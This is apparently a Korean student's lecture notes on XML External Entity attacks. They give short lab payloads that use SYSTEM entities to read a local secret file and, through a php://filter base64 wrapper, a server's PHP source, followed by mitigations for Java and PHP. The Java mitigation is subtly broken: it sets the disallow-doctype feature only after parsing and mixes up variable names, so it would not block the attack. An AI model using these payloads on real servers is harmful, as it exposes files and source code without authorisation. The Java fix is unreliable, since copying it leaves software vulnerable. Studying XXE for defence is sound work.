내맘대로 정리한 XXE
강의를 듣고 정리한거 이후 수정할 예정
XXE : XML 파싱 기능이 있는 애플레케이션에 대한 공격 수행
XML External Entity
body 에 xml 이 있는가
일반적인 웹서비스는 요즘 json을 많이 쓰고, xml을 쓰는 경우는 그렇게 많지 않음
레거시 시스템들이 많이 사용하고 있는데, 여기가 위험함
xml parser ->xml
이때 xml 자체에서 외부 파일, 개체를 참조 할때 위험함
*DTD : Document Type Definition
Q. 외부 개체, 내부 개체
내부 개체 : <!ENTITY str "[문자열]">
외부 개체 : <!ENTITY str SYSTEM "file://[경로]">
-> 이때 외부 개체에 들어가는 경로에 악의적인 경로를 넣으면 위험함. eg) /etc/password
-> SYSYEM이라는 지시어는 위험함
#실습
* 내부 개체 참조
<!DOCTYPE a[
<!ENTITY str "jajajajajajaj">
]>
<print>&str;</print>
* 외부 개체 참조
<!DOCTYPE a[
<!ENTITY str SYSTEM "file:///information/secret_info.txt">
]>
<print>&str;</print>
소스코드 볼려면 base64로 인코딩 해줘야함
* 외부 개체 참조(소스코드)
<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///APM_setup/htdocs/isw/xmlparser.php">
]>
<print>&str;</print>
=> 암튼 이런 식으로 외부 자원을 무단으로 열람할 수 있다는 거임 (SYSTEM 예약어를 활용해서!)
#대응방안
1. JSON 데이터 형식으로 기능 구현[xml 폐기]
2. DTD 및 외부 엔티티 비활성화
(3. xml parser 기능을 제거)
* 외부 개체 참조 비활성화(java)
factory = dbFactory.newDocumentBuilder();
doc = dBuilder.parse(xmlFile);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
* 외부 개체 참조 비활성화(php)
libxml_disable_entity_loader(true);
서버 사이드마다 조치 방법이 다르므로, 이를 잘 알아봐서 적용하기!
php의 경우 위 처럼 조치해준 후 외부 개체를 참조하면 에러발생하면서 참조 불가함